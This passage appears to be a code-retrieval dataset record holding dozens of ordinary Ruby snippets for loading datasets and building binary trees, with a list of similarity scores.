@search.facet(:license_code).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:license_code).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n search_get_facets.facet(:funder_codes).rows.each do |outer_row|\n has_this_row = false\n @search.facet(:funder_codes).rows.each do |inner_row|\n has_this_row = true if inner_row.value == outer_row.value\n end\n @search.facet(:funder_codes).rows << Placeholder_FacetRow.new(outer_row.value, 0) unless has_this_row\n end\n\n @report = Dataset.citation_report(@search, request.original_url, current_user)\n\n send_data @report, filename: \"report.txt\" if params.has_key?(\"download\") && params[\"download\"] == \"now\"\n end", "def _insert_dataset\n use_server(model.instance_insert_dataset)\n end", "def load_data(data)\n countries = []\n\n (0..data['countries'].length - 1).each do |i|\n country_data = data['countries'][i]\n country = Country.new\n country.name = country_data['name']\n\n # Load the country's sets\n sets = []\n (0..country_data['sets'].length - 1).each do |j|\n set_data = country_data['sets'][j]\n set = Set.new\n set.name = set_data['name']\n\n # Load the set's advice\n advice = []\n (0..set_data['review'].length - 1).each do |k|\n advice.push(set_data['review'][k])\n end\n set.advice = advice\n\n # Load set's quiz questions\n questions = []\n (0..set_data['quiz'].length - 1).each do |k|\n quiz_data = set_data['quiz'][k]\n question = Quiz.new\n question.prompt = quiz_data['prompt']\n\n # Load question's responses\n responses = []\n (0..quiz_data['answers'].length - 1).each do |m|\n response = Response.new\n response.text = quiz_data['answers'][m]['text']\n response.is_correct = (quiz_data['answers'][m]['isCorrect'] == 'true')\n responses.push(response)\n end\n question.responses = responses\n questions.push(question)\n end\n set.quiz_questions = questions\n\n sets.push(set)\n country.sets = sets\n end\n countries.push(country)\n end\n countries\nend", "def test_scenario1\n data = [{\"filename\" => File.dirname(__FILE__)+\"/data/iris.csv\"}] \n\n puts\n puts \"Scenario: Successfully creating and reading a public dataset\"\n data.each do |item|\n puts\n puts \"Given I create a data source uploading a \" + item[\"filename\"] + \" file\"\n source = @api.create_source(item[\"filename\"], {'name'=> 'source_test', 'project'=> @project[\"resource\"]})\n\n puts \"And I wait until the source is ready\"\n assert_equal(BigML::HTTP_CREATED, source[\"code\"])\n assert_equal(1, source[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(source), true)\n\n puts \"And I create dataset with local source\"\n dataset=@api.create_dataset(source)\n\n puts \"And I wait until the dataset is ready\"\n assert_equal(BigML::HTTP_CREATED, dataset[\"code\"])\n assert_equal(1, dataset[\"object\"][\"status\"][\"code\"])\n assert_equal(@api.ok(dataset), true)\n\n puts \"I make the dataset public\"\n dataset = @api.update_dataset(dataset, {'private'=> false})\n assert_equal(BigML::HTTP_ACCEPTED, dataset[\"code\"])\n assert_equal(@api.ok(dataset), true)\n\n puts \"When I get the dataset status using the dataset's public url\";\n dataset = @api.get_dataset(\"public/#{dataset['resource']}\")\n\n puts \"Then the dataset's status is FINISHED\";\n assert_equal(BigML::FINISHED, dataset[\"object\"][\"status\"][\"code\"])\n\n puts \"And I make the dataset private again\"\n dataset = @api.update_dataset(dataset, {'private'=> true})\n assert_equal(BigML::HTTP_ACCEPTED, dataset[\"code\"])\n\n end\n\n end", "def create_datasets(builder)\n each_dataset(builder) do |ds|\n builder.create_dataset(ds, mapping: true, parents: ds.root?)\n end\n end", "def site_data_sets(site)\n if site.facebook?\n [defaultDataSet, FacebookOtherWallPosts]\n else\n [defaultDataSet]\n end\n end", "def add_file_data(filename, format_str, color_map = {}) \n format_tokens = format_str.split(\",\")\n new_data_sets = {} \n File.readlines(filename).each do |line|\n line = line.chomp\n tokens = line.split(\",\")\n t = translate_format(format_tokens, \"t\", tokens)\n n = translate_format(format_tokens, \"n\", tokens)\n x = translate_format(format_tokens, \"x\", tokens)\n y = translate_format(format_tokens, \"y\", tokens)\n \n if n.nil?\n n = \"FileDataSet\"\n end \n c = color_map[n]\n if c.nil? \n c = DEFAULT_COLORS[new_data_sets.size]\n end\n\n # Determine what type of x we have (time or value) \n if t.nil?\n is_time_based = false\n else\n is_time_based = true\n end\n\n data_set = new_data_sets[n]\n # Does the data set exist already? If not create\n if data_set.nil? \n puts \"Creating data set #{n}. Time based: #{is_time_based}\"\n data_set = DataSet.new(n, nil, c, is_time_based) \n data_set.source_filename = filename\n new_data_sets[n] = data_set \n end \n \n if data_set.is_time_based\n # %Y-%m-%dT%H:%M:%S\n date_time = DateTime.parse(t).to_time\n #puts \"Adding time point: #{date_time} #{date_time.to_i}, #{y.to_f}\"\n data_set.add_data_point(DataPoint.new(date_time.to_i, y.to_f))\n else\n #puts \"Adding data point: #{x.to_f}, #{y.to_f}\"\n data_set.add_data_point(DataPoint.new(x.to_f, y.to_f))\n end\n end\n\n new_data_sets.keys.each do |key|\n data_set = new_data_sets[key]\n data_set.calculate_range\n @data_set_hash[key] = data_set\n @derived_function_graph.add_node(create_graph_node(key))\n end\n set_range_and_update_display(determine_superset_range)\n end", "def selection_data\n dataset ||= DB[:selections]\n end", "def set_data_set\n @data_set = DataSet.find(params[:id])\n end", "def set_data_set\n @data_set = DataSet.find(params[:id])\n end", "def load_data(*args)\n init_data_arrays # wipes all preexisting data in @data_collections and @data_objects\n \n args[0].each.with_index do |array_or_variable, i|\n if i < data_collection_names.count\n @data_collections[i] += array_or_variable \n else\n j = i - data_collection_names.count\n @data_objects[j] = array_or_variable # if array_or_variable.class != Array\n end\n end\n self\n end", "def set_data_set\n @data_set = DataSet.find(params[:id])\n end", "def dataset(branch = nil, options = {})\n return super() if @in_dataset or (!Branch::Context.current! and !branch)\n @in_dataset = true\n context = Branch::Context.get(branch)\n ds = dataset_from_context(context, options)\n @in_dataset = nil\n ds\n end", "def load_data (training_set, test_set = :NIL)\n base = training_set + \"/u.data\" if test_set == :NIL\n\t\tbase = training_set + \"/\" + test_set.to_s + \".base\" if test_set != :NIL\n\t\tfile = File.open (base)\n\n\t\ti=0\n\t\tfile.each_line do |line|\n\t\t\t@movieStore[i] = line.split(/\\s/)\n\t\t\ti += 1\n\t\tend\n\t\tif test_set != :NIL then\n\t\t\ttest_set = training_set + \"/\" + test_set.to_s + \".test\"\n\t\t\tfile2 = File.open(test_set)\n\t\t file2.each_line do |line|\n\t\t\t @test_set << line.split(/\\s/)\n\t\t end\n else\n @test_set = @movieStore\n end\n \n\t\tuser_movie_index()\n\tend", "def prepare_dataset\n @working_dataset.dataset.each { |tuple| @clustered_dataset[tuple] = -1 }\n end", "def load_dataset_structure(pid,dataset)\r\n @pid = pid\r\n GoodData.use @pid\r\n choosen_dataset = find_dataset(dataset)\r\n @dataset = GoodData::MdObject.new((GoodData.get choosen_dataset.uri)['dataSet'])\r\n\r\n #Load all atrribute info\r\n @dataset.content['attributes'].map do |e|\r\n att_id = e.match(\"[0-9]*$\").to_s\r\n @att[att_id] = Attribute.new((GoodData.get e)['attribute'])\r\n end\r\n\r\n #Load all fact info\r\n @dataset.content['facts'].map do |e|\r\n fact_id = e.match(\"[0-9]*$\").to_s\r\n @fact[fact_id] = Fact.new((GoodData.get e)['fact'])\r\n end\r\n end", "def dataset_method\n :\"#{self[:name]}_dataset\"\n end", "def dataset\n self\n end", "def dataset\n self\n end", "def dataset\n self\n end", "def call\n # Add batches until we run out (FIXME: a more ruby way to do this?)\n while add_batch do\n end\n\n # Clear the disabled attribute\n @dataset.disabled = false\n @dataset.save\n rescue StandardError\n # FIXME: This should probably be a finally block?\n # Don't leave an empty dataset around under any circumstances\n @dataset.destroy\n raise\n end", "def load_data(folder,dataset=nil)\n train = dataset == nil ? \"#{folder}/u.data\" : \"#{folder}/#{dataset.to_s}.base\" \n test = dataset == nil ? \"\" : \"#{folder}/#{dataset.to_s}.test\"\n @trainset=read_file train\n @testset=read_file test\n #build user and movie index using hashes\n @user_index=@trainset.group_by { |item| item.u_id }\n @movie_index=@trainset.group_by { |item| item.m_id }\n @rating_index={}\n @trainset.each {|item| @rating_index[[item.u_id,item.m_id]]=item.rating }\n end", "def _dataset_method\n :\"_#{self[:name]}_dataset\"\n end", "def dataset(name)\n datasets[name] = Dataset.new(connection.fetch(name.to_s))\n end", "def reference_datasets\n if @results.nil?\n @ref_datasets = @project.ref_datasets\n else\n @ref_datasets = @results\n end\n cur_page = (params[:page] || 1).to_i\n per_page = (params[:per_page] || 10).to_i\n @datasets = WillPaginate::Collection.create(\n cur_page, per_page, @ref_datasets.size) do |pager|\n start = (cur_page - 1) * per_page\n pager.replace(@ref_datasets[start, per_page])\n end\n end", "def include_gathered_data\n compile_user_data if @@aggregate.length == 6\n end", "def initialize(_layout, _data=[], _queries=[])\n @layout = _layout\n @queries = _queries\n #puts \"DATASET NEW queries:#{@queries}\"\n super(_data)\n end", "def get_data(arg)\n dir_to_data = Dir.pwd + '/features/support'\n data = YAML.load_file(\"#{dir_to_data}/data_list.yml\")\n data['DataSet'][\"#{arg}\"]\nend", "def load_data\n raise NotImplementedError\n end", "def add(data)\n if (@data_array.size >= @bulk_limit)\n bulk_insert(@data_array)\n @data_array.clear\n end\n\n health = [\n 'baby_hatch',\n 'clinic',\n 'dentist',\n 'doctors',\n 'hospital',\n 'nursing_home',\n 'pharmacy',\n 'social_facility',\n ]\n\n education = [\n 'college',\n 'kindergarten',\n 'library',\n 'public_bookcase',\n 'music_school',\n 'music_school',\n 'driving_school',\n 'language_school',\n 'university',\n ]\n\n finance = [\n 'atm',\n 'bank',\n 'bureau_de_change',\n ]\n\n food_amenity = [\n 'convenience',\n 'mall',\n 'supermarket',\n ]\n food_shop = [\n 'cafe',\n 'drinking_water',\n 'fast_food',\n 'food_court',\n 'ice_cream',\n 'pub',\n 'restaurant',\n ]\n\n entertainment = [\n 'arts_centre',\n 'casino',\n 'cinema',\n 'community_centre',\n 'fountain',\n 'gambling',\n 'nightclub',\n 'planetarium',\n 'social_centre',\n 'stripclub',\n 'studio',\n 'theatre',\n ]\n\n services_amenity = [\n 'social_facility',\n ]\n services_office = [\n 'accountant',\n 'advertising_agency',\n 'adoption_agency',\n 'architect',\n 'lawyer',\n 'estate_agent',\n 'copyshop',\n 'funeral_directors',\n ]\n\n\n\n if data[\"tags\"] != nil\n data[\"loc\"] = {\n type: \"Point\",\n coordinates: [data[\"lon\"].to_f, data[\"lat\"].to_f]\n }\n if health.include? data[\"tags\"][\"amenity\"]\n data[\"type\"] = 'health'\n @data_array.push(data)\n end\n if education.include? data[\"tags\"][\"amenity\"]\n data[\"type\"] = 'education'\n @data_array.push(data)\n end\n if finance.include? data[\"tags\"][\"amenity\"]\n data[\"type\"] = 'finance'\n @data_array.push(data)\n end\n if food_amenity.include?(data[\"tags\"][\"amenity\"]) || food_shop.include?(data[\"tags\"][\"shop\"])\n data[\"type\"] = 'food'\n @data_array.push(data)\n end\n\n if entertainment.include? data[\"tags\"][\"amenity\"]\n data[\"type\"] = 'entertainment'\n @data_array.push(data)\n end\n\n if services_amenity.include?(data[\"tags\"][\"amenity\"]) || services_office.include?(data[\"tags\"][\"office\"])\n data[\"type\"] = 'service'\n @data_array.push(data)\n end\n end\n #@data_array.push(data)\n end", "def datasets\n ds = inclusively { dataset }\n [ds] + ds.descendants\n end", "def dataset_names\n metadata[:datasets]\n end", "def initialize_datasets\n @datasets = gateways.each_with_object({}) do |(key, gateway), h|\n h[key] = gateway.schema if config.gateways[key][:infer_relations]\n end\n end", "def each_dataset(&block)\n datasets.each(&block)\n end", "def get_datasets(quandl_database_code)\n db = Quandl::Database.get(quandl_database_code)\n total_pages = db.datasets.meta[:total_pages]\n (1..total_pages).reduce([]) do |memo, page_number|\n i = 1\n begin\n datasets = db.datasets(params: {page: page_number}).values\n memo.concat(datasets)\n rescue SocketError => e\n puts \"Connection error ##{i}\"\n puts e.message\n puts e.backtrace(\"\\n\")\n i += 1\n retry if i <= 10\n rescue => e\n puts \"Error ##{i}\"\n puts e.message\n puts e.backtrace(\"\\n\")\n i += 1\n retry if i <= 10\n end\n memo\n end\n end", "def setup_baseline_data(options = {})\n entity = Flapjack::Data::Entity.new(:id => \"2000\", :name => \"clientx-app-01\")\n entity.save\n\n contact = Flapjack::Data::Contact.new(:id => '1000',\n :name => 'John Smith')\n contact.save\n\n medium = Flapjack::Data::Medium.new(:type => 'email', :address => 'jsmith@example.com',\n :interval => 30)\n medium.save\n\n contact.media << medium\n entity.contacts << contact\n end", "def prepare_data(num_rows)\n app_train = read_dataset_from_csv('./input/application_train', num_rows)\n data = app_train[\"data\"]\n set_categorical_labels(data)\n numeric_features, _categorical_features = get_numeric_cateforical_features_from_the_raw_dataset(app_train[\"data\"])\n categorical_features_one_hot_encode = get_one_hot_feature_map_from_the_origin_dataset(data)\n one_hot_encoding_using_feature_map(data, categorical_features_one_hot_encode)\n\n # NaN values for DAYS_EMPLOYED: 365243 -> nan\n data.each do |r|\n r_features = r[\"features\"]\n if r_features[\"days_empoyed\"] == 365243\n r_features[\"days_employed\"] = \"\"\n r_features[\"days_employed_anom\"] = 1\n else\n r_features[\"days_employed_anom\"] = 0 \n end \n \n add_ratio_feature(\"payment_rate\", \"amt_annuity\", \"amt_credit\", r)\n add_ratio_feature(\"annuity_income_ratio\", \"amt_annuity\", \"amt_income_total\", r)\n add_ratio_feature(\"credit_goods_ratio\", \"amt_credit\", \"amt_goods_price\", r)\n # add_ratio_feature(\"income_person_ratio\", \"amt_income_total\", \"cnt_fam_members\", r)\n add_ratio_feature(\"employed_birth_ratio\", \"days_employed\", \"days_birth\", r)\n end\n # categorical_features << \"days_employed_anom\"\n\n bureau = read_dataset_from_csv('./input/bureau', 1000, $bureau_numeric_features)\n # bureau[\"data\"].each do |r|\n # puts r[\"features\"][\"days_enddate_fact\"]\n # end\n # return\n grouped = group_data(bureau[\"data\"])\n agged = agg_group_data(grouped, $bureau_numeric_features, \"bureau\")\n merge_to_dataset(app_train, agged, $bureau_numeric_features)\n\n app_train[\"features\"] = app_train[\"data\"][0][\"features\"].keys\n\n puts \"begin to normalize the dataset......\"\n nomalizer = Normalizer.new\n nomalizer.normalize(app_train, numeric_features)\n\n puts \"begin to impute missing value......\"\n imputer = SimpleImputer.new\n imputer.fit(app_train)\n \n puts \"finish preparing the dataset!\"\n return app_train\nend", "def generate_data\n\t\tgenerate_stations\n\t\tgenerate_demands\n\tend", "def type\n 'dataset'\n end", "def dataset(name)\n self[name] || connection.create_dataset(name)\n end", "def read_data\n\t\t@testers_data = CSV.read(\"data/testers.csv\")\n\n\t\t@testers_device_data = CSV.read(\"data/tester_device.csv\")\n\n\t\t@devices_data = CSV.read(\"data/devices.csv\")\n\n\t\t@bugs_data = CSV.read(\"data/bugs.csv\")\n\tend", "def workflow_dataset(n)\n fail ActiveRecord::RecordNotFound if workflow_datasets.size <= n\n Dataset.find(workflow_datasets[n])\n end", "def set_data(data)\n @preset_data = data || []\n refresh\n end", "def default_data collection, factor\n your_data, comparison_data, l1_data, l2_data, l3_data = [], [], [], [], []\n average_l1_comp_data, average_l2_comp_data, average_l3_comp_data = [],[],[]\n duration = params[\"duration\"]\n uniq_exam_dates = collection.map(&:exam_date).uniq\n if duration == \"12\"\n Date.today.month.times do |count|\n l1_temp_data, l2_temp_data, l3_temp_data = [], [], []\n collection.where(exam_date:(Time.now-count.month).all_month()).each do |r|\n l1_temp_data << r.send(:\"l1_#{factor}\")\n l2_temp_data << r.send(:\"l2_#{factor}\")\n l3_temp_data << r.send(:\"l3_#{factor}\")\n end\n l1_comp_data, l2_comp_data, l3_comp_data = [], [], [] \n Report.where(exam_date: (Time.now-count.month).all_month(), school_id:current_user.school.id).each do |m|\n l1_comp_data << m.send(:\"l1_#{factor}\")\n l2_comp_data << m.send(:\"l2_#{factor}\")\n l3_comp_data << m.send(:\"l3_#{factor}\")\n end\n l1_data << average(l1_temp_data)\n l1_data.reverse!\n l2_data << average(l2_temp_data)\n l2_data.reverse!\n l3_data << average(l3_temp_data)\n l3_data.reverse!\n average_l1_comp_data << average(l1_comp_data)\n average_l1_comp_data.reverse!\n average_l2_comp_data << average(l2_comp_data)\n average_l2_comp_data.reverse!\n average_l3_comp_data << average(l3_comp_data)\n average_l3_comp_data.reverse!\n end\n else\n uniq_exam_dates.each do |date|\n l1_temp_data, l2_temp_data, l3_temp_data = [], [], []\n collection.where(exam_date:date).each do |r|\n l1_temp_data << r.send(:\"l1_#{factor}\")\n l2_temp_data << r.send(:\"l2_#{factor}\")\n l3_temp_data << r.send(:\"l3_#{factor}\")\n end\n l1_comp_data, l2_comp_data, l3_comp_data = [], [], [] \n Report.where(exam_date: date, school_id:current_user.school.id).each do |m|\n l1_comp_data << m.send(:\"l1_#{factor}\")\n l2_comp_data << m.send(:\"l2_#{factor}\")\n l3_comp_data << m.send(:\"l3_#{factor}\")\n end\n l1_data << average(l1_temp_data)\n l2_data << average(l2_temp_data)\n l3_data << average(l3_temp_data)\n average_l1_comp_data << average(l1_comp_data)\n average_l2_comp_data << average(l2_comp_data)\n average_l3_comp_data << average(l3_comp_data)\n end\n end\n your_data = [l1_data, l2_data, l3_data]\n comparison_data = [average_l1_comp_data, average_l2_comp_data, average_l3_comp_data]\n factor == \"time\" ? plot_timedistribution(your_data, comparison_data) : plot_strategy(your_data, comparison_data)\n end", "def assign_dataset_attributes\n if dataset\n reset_dataset_attributes\n @dataset_attributes = (dataset.data[dataset_group][dataset_key] ||= {})\n end\n rescue => e\n raise \"Qernel::Dataset: missing dataset item for #{dataset_group.inspect} #{dataset_key}. #{e.inspect}\"\n end", "def add_data_in_table(data_set)\n case\n when data_set.is_a?(Daru::DataFrame)\n return ArgumentError unless data_set.index.is_a?(Daru::Index)\n\n rows = add_dataframe_data(data_set)\n when data_set.is_a?(Daru::Vector)\n rows = add_vector_data(data_set)\n when data_set.is_a?(Array)\n return GoogleVisualr::DataTable.new if data_set.empty?\n\n rows = add_array_data(data_set)\n when data_set.is_a?(Hash)\n @table = GoogleVisualr::DataTable.new(data_set)\n return\n else\n raise ArgumentError # TODO: error msg\n end\n @table.add_rows(rows)\n @table\n end", "def build_data(id, range, mean, start_date, end_date,ch_id)\n cols=[:measure_id, :site_id, :channel_id, :dt, :value]\n batch_data=[]\n start_date.upto(end_date) { |dt|\n puts \"DATE #{dt}\"\n Site.find(:all).each { |site|\n r=rand*2-1\n #Instead of a pure random value we use a normal distribution to get the values to crowd around the mean.\n val=Statistics2.normaldist(r)*range+(mean-range/2)\n batch_data <<[id, site.id,ch_id,dt,val]\n #measrec=Measurement.create(:measure_id => id, :site_id => site.id, \n #:channel_id => ch.id, :dt => dt, :value => val)\n }\n }\n Measurement.import(cols, batch_data)#Mass importing of data. A lot faster than 1 insert at a time.\n #Put the limit writing code here.\nend", "def setup\n @dataset = $dataset\n @dataset_2 = $dataset_2\n\n refute_nil @dataset, \"You do not have an active dataset to run the tests.\"\n\n super\n end", "def create\n @dataset = Dataset.new(params[:dataset])\n current_user.datasets << @dataset\n\n respond_to do |format|\n if @dataset.save\n format.html { redirect_to @dataset, notice: 'Dataset was successfully created.' }\n format.json { render json: @dataset, status: :created, location: @dataset }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dataset.errors, status: :unprocessable_entity }\n end\n end\n end", "def load_data\n\t\tFile.open(\"#{@path_to_training}\", \"r\").each_line do |line|\n\t\t\ta = line.split\n\t\t\tadd_movie(a[1].to_i, a[0].to_i, a[2].to_i)\n\t\t\tadd_user(a[0].to_i, a[1].to_i, a[2].to_i)\n\t\tend\n\t\tif File.file?(\"#{@path_to_test}\") then\n\t\t\tFile.open(\"#{@path_to_test}\", \"r\").each_line do |line|\n\t\t\t\ta = line.split\n\t\t\t\t@list_of_test_set << Rating.new(a[0].to_i, a[1].to_i, a[2].to_i)\n\t\t\tend\n\t\tend\n\tend", "def dataset\n @@dataset\n end", "def index\n @datasets = Dataset.all\n end" ]
[ "0.6455594", "0.6455594", "0.64135355", "0.63395333", "0.6231442", "0.61922234", "0.6170293", "0.608951", "0.60767317", "0.6069225", "0.6061368", "0.60588247", "0.6057436", "0.60275024", "0.5948483", "0.58938587", "0.5854952", "0.57962847", "0.5788733", "0.5782818", "0.5771975", "0.57366955", "0.5718138", "0.5702976", "0.5702976", "0.56991386", "0.5694643", "0.5691146", "0.56876254", "0.568096", "0.5680367", "0.56800467", "0.56800467", "0.56686425", "0.5654501", "0.56516314", "0.56475157", "0.56423056", "0.5640996", "0.56303275", "0.56303275", "0.56299216", "0.56299216", "0.56299216", "0.56299216", "0.5612024", "0.5606984", "0.55963594", "0.5586287", "0.5582938", "0.5580548", "0.55797344", "0.55773085", "0.55671835", "0.5562767", "0.5557529", "0.5554414", "0.55451745", "0.55451745", "0.55438083", "0.5538649", "0.5532988", "0.5532852", "0.55169916", "0.5513124", "0.55090195", "0.5501204", "0.5501204", "0.5501204", "0.5500752", "0.54965854", "0.5489382", "0.5485131", "0.54845345", "0.54781395", "0.5476729", "0.5474948", "0.54643226", "0.5462436", "0.5455413", "0.5441482", "0.54279935", "0.5421799", "0.5420949", "0.5418365", "0.54183495", "0.5417211", "0.54110503", "0.5409634", "0.537987", "0.53750026", "0.5373928", "0.5372701", "0.5352161", "0.53475726", "0.5345996", "0.53251076", "0.5323872", "0.53188646", "0.5318539", "0.5311921" ]
0.0
-1
define the binary tree data by reading the contents of an array. Overwrites exisitng data if called on an existing tree. Considers an empty tree (root = nil) to not contain 'nil' Assumes all items in the data array are of similar, or compatible, data type.
def build_tree(data_array) @root = nil # overwrites tree, even if array is empty data_array.each_with_index do |data, index| if index == 0 @root = Node.new(data) else set_next_node(data) end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def build_tree_2(data_array)\n root = nil\n \n data_array.each do |elem|\n node = insert_node(root, nil, elem) \n\troot ||= node\n end\n \n root\nend", "def build_tree(arr)\n @root = Node.new(arr.shift)\n arr.each { |data| insert_data(data, @root) }\n end", "def build_tree(array)\n\t\t@root_node = Node.new(array[array.length / 2])\n\t\tarray[array.length / 2] = nil\n\t\tcounter = 0\n\t\tuntil counter == array.length\n\t\t\tset_value(array[counter], @root_node) if array[counter] != nil\n\t\t\tcounter += 1\n\t\tend\n\n\tend", "def initialize(data_array)\n raise Exception.new(\"parameter should be an Array of data!\") unless data_array.is_a?(Array)\n\n self.root = nil\n\n data_array.each do |data|\n self.insert(data)\n end\n end", "def build_tree(array)\n\t\t@root = Node.new(array.shift)\n\t\tarray.each { |value| add_node(value, @root)}\n\tend", "def build_tree(data)\n @root = Node.new(data[0])\n data.shift\n data.each { |value| @root.insert(value) }\n end", "def build_tree(array)\n\t\t@root = Node.new(array[0])\n\t\ttemp_root = @root\n\n\t\tarray[1..-1].each do |node_value|\n\t\t\tinsert_node(node_value, temp_root)\n\t\tend\n\tend", "def build_tree(data, node=self)\n data = data.sort\n build_bin_tree(data, 0, data.length - 1, node)\n end", "def build_tree(arr)\n @root = insert_node(nil, arr.shift)\n arr.each { |value| insert_node(@root, value) }\n end", "def build_tree(data_array)\n root = nil\n \n data_array.each do |elem|\n cur_node = root\n \n node = Node.new(elem)\n\tnode.children = Array.new(2, nil)\n\t\n\twhile !cur_node.nil?\n\t if elem < cur_node.value\n\t if cur_node.children[0].nil?\n\t\t node.parent = cur_node\n\t\t cur_node.children[0] = node\n\t\t cur_node = node\n\t\tend\n\t\tcur_node = cur_node.children[0]\n\t else\n\t if cur_node.children[1].nil?\n\t\t node.parent = cur_node\n\t\t cur_node.children[1] = node\n\t\t cur_node = node\n\t\tend\n\t\tcur_node = cur_node.children[1]\n\t end\n\tend\n\t\n\troot ||= node\n\t \n end\n \n root\nend", "def build_tree(arr)\n\tend", "def buildTree(node,arr)\n node.value = arr.shift\n size = (arr.size/2.0).round\n if size > 0\n left, right = arr.each_slice( size ).to_a\n if left and left.count > 0\n node.left = TreeNode.new\n buildTree(node.left, left)\n end\n if right and right.count > 0\n node.right = TreeNode.new\n buildTree(node.right, right)\n end\n end\nend", "def populate(array)\n @root = Node.new({type: :document}, [], nil, 0)\n @total_nodes += 1\n @max_depth = 0\n current_node = @root\n current_depth = 0\n array.each do |hash|\n # opening tag - create new node\n if NODE_DOWN.include? hash[:type]\n #if <> depth += 1\n new_node = Node.new(hash, [], current_node, current_node.depth + 1)\n current_node.children << new_node\n current_node = new_node\n current_depth += 1\n @total_nodes += 1\n else #hash[:type] == \"close\"\n #if </> depth -= 1\n new_node = Node.new(hash, [], current_node, current_node.depth)\n current_node.children << new_node\n current_node = current_node.parent\n current_depth -= 1\n @total_nodes += 1\n end\n\n if current_depth > @max_depth\n @max_depth = current_depth\n end\n\n if hash[:type] == :text && current_node.children.empty?\n current_depth -= 1\n current_node = current_node.parent\n end\n end\n self\n end", "def build_tree array\n\t\t@root = Node.new array[0]\n\t\t@nodes += 1\n\t\tarray[1..-1].each do |var|\n\t\t\tinsert(@root,var)\n\t\tend\n\tend", "def build_tree(array)\n first_node = Node.new(nil, nil, array[0])\n this_node = first_node\n i = 1\n\n finished = false\n while !finished\n if array[i] == nil\n finished = true\n elsif array[i] < this_node.data\n if this_node.left_child == nil\n this_node.left_child = Node.new(nil, nil, array[i])\n this_node = first_node\n i += 1\n else\n this_node = this_node.left_child\n end\n elsif array[i] > this_node.data\n if this_node.right_child == nil\n this_node.right_child = Node.new(nil, nil, array[i])\n this_node = first_node\n i += 1\n else\n this_node = this_node.right_child\n end \n elsif array[i] == this_node.data\n i += 1\n end\n end\n return first_node\nend", "def build_tree(array)\n tree = TreeNode.new(array[0], 0)\n (1..array.length-1).each {|i|\n insert_into_tree(tree, array[i], i)\n }\n tree\nend", "def build_tree_from_unsorted(arr)\n return nil if arr.empty?\n @root = Node.new(arr.shift)\n\n until arr.empty?\n child_node = Node.new(arr.shift)\n assign_children(@root, child_node)\n end\n end", "def build_tree(array)\n return nil if array.empty?\n \n middle = (array.size - 1) / 2\n root_node = Node.new(array[middle])\n \n root_node.left = build_tree(array[0...middle])\n root_node.right = build_tree(array[(middle + 1)..-1])\n \n root_node\n end", "def build_tree(arr)\n #take array, turn into bt with node objs\n return nil if arr.empty?\n\n mid = (arr.size - 1)/2\n current_node = Node.new(arr[mid])\n\n current_node.left = build_tree(arr[0...mid])\n current_node.right = build_tree(arr[(mid+1)..-1])\n \n current_node\n end", "def build_tree(array)\n return nil if array.empty?\n\n mid = (array.length - 1) / 2\n node = Node.new(array[mid])\n node.left = build_tree(array[0...mid])\n node.right = build_tree(array[mid+1..-1])\n node\n end", "def construct_tree(arr)\n root = TreeNode.new(arr.shift)\n xtd = [root]\n while !xtd.empty? && !arr.empty?\n cur_node = xtd.shift\n a, b = arr.shift(2) # doesn't matter if arr.size < 2. in this case, a, b might be nil\n cur_node.left = a.nil? ? nil : TreeNode.new(a)\n cur_node.right = b.nil? ? nil : TreeNode.new(b)\n xtd << cur_node.left unless cur_node.left.nil?\n xtd << cur_node.right unless cur_node.right.nil?\n end\n root\nend", "def array_to_binary(arr)\n node = Node.new(arr[0])\n arr.slice(1..-1).each {|el| insert_into_tree(node, el) }\n node\nend", "def build_tree array\n\t\t@root = Node.new(array.shift)\n\t\tparent = @root\n\t\tarray.each do |el|\n\t\t\twhile true\n\t\t\t\tif el <= parent.value\n\t\t\t\t\tif parent.left_child.nil?\n\t\t\t\t\t\tparent.left_child = Node.new(el,parent)\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tparent = parent.left_child\n\t\t\t\t\tend\n\t\t\t\telsif el > parent.value\n\t\t\t\t\tif parent.right_child.nil?\n\t\t\t\t\t\tparent.right_child = Node.new(el,parent)\n\t\t\t\t\t\tbreak\n\t\t\t\t\telse\n\t\t\t\t\t\tparent = parent.right_child\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\tend", "def tree=(data)\n @tree = HashWithIndifferentAccess.new(\n case data\n when Array\n hash_from_git(data)\n when Hash, HashWithIndifferentAccess\n data\n end\n )\n end", "def build_tree_from_sorted(arr)\n return nil if arr.empty?\n left, right, middle = get_left_right_middle(arr)\n @root = Node.new(middle)\n make_children(@root, left)\n make_children(@root, right)\n end", "def initialize(arr)\n @value = arr.sort.uniq\n @root = build_tree(value)\n end", "def initialize(arr=[])\n @tree = []\n @tree.push(:dummy_head)\n 0.upto(arr.size-1) do |i|\n push(arr[i])\n end\n end", "def data alist=nil\n # if nothing passed, print an empty root, rather than crashing\n alist = [] if alist.nil?\n @data = alist # data given by user\n case alist\n when Array\n @treemodel = Canis::DefaultTreeModel.new(\"/\")\n @treemodel.root.add alist\n when Hash\n @treemodel = Canis::DefaultTreeModel.new(\"/\")\n @treemodel.root.add alist\n when TreeNode\n # this is a root node\n @treemodel = Canis::DefaultTreeModel.new(alist)\n when DefaultTreeModel\n @treemodel = alist\n else\n if alist.is_a? DefaultTreeModel\n @treemodel = alist\n else\n raise ArgumentError, \"Tree does not know how to handle #{alist.class} \"\n end\n end\n # we now have a tree\n raise \"I still don't have a tree\" unless @treemodel\n set_expanded_state(@treemodel.root, true)\n convert_to_list @treemodel\n \n # added on 2009-01-13 23:19 since updates are not automatic now\n #@list.bind(:LIST_DATA_EVENT) { |e| list_data_changed() }\n #create_default_list_selection_model TODO\n fire_dimension_changed\n self\n end", "def build_tree(array)\n array.sort!.uniq!\n left = 0\n right = array.length\n\n return build_driver(array, left, right)\n end", "def initialize(array = [], sorted = false)\n raise TypeError, 'Tree requires an array to initialize.' unless array.is_a? Array\n\n # Extract unique elements for sorting\n build_array = array.uniq\n\n # Requires a sorted array to properly build the tree.\n build_array.sort! unless sorted\n\n @root = build_tree(build_array)\n end", "def build_tree(data, parent = nil)\n return if data.size.zero?\n center = half(data)\n value = data[center]\n @depth_first << value\n\n # Recusion to split halves until zero then execute logic\n build_tree(l_half = data[0...center], value)\n build_tree(r_half = data[center + 1..-1], value)\n\n # Node creation and set node properties\n l_child = 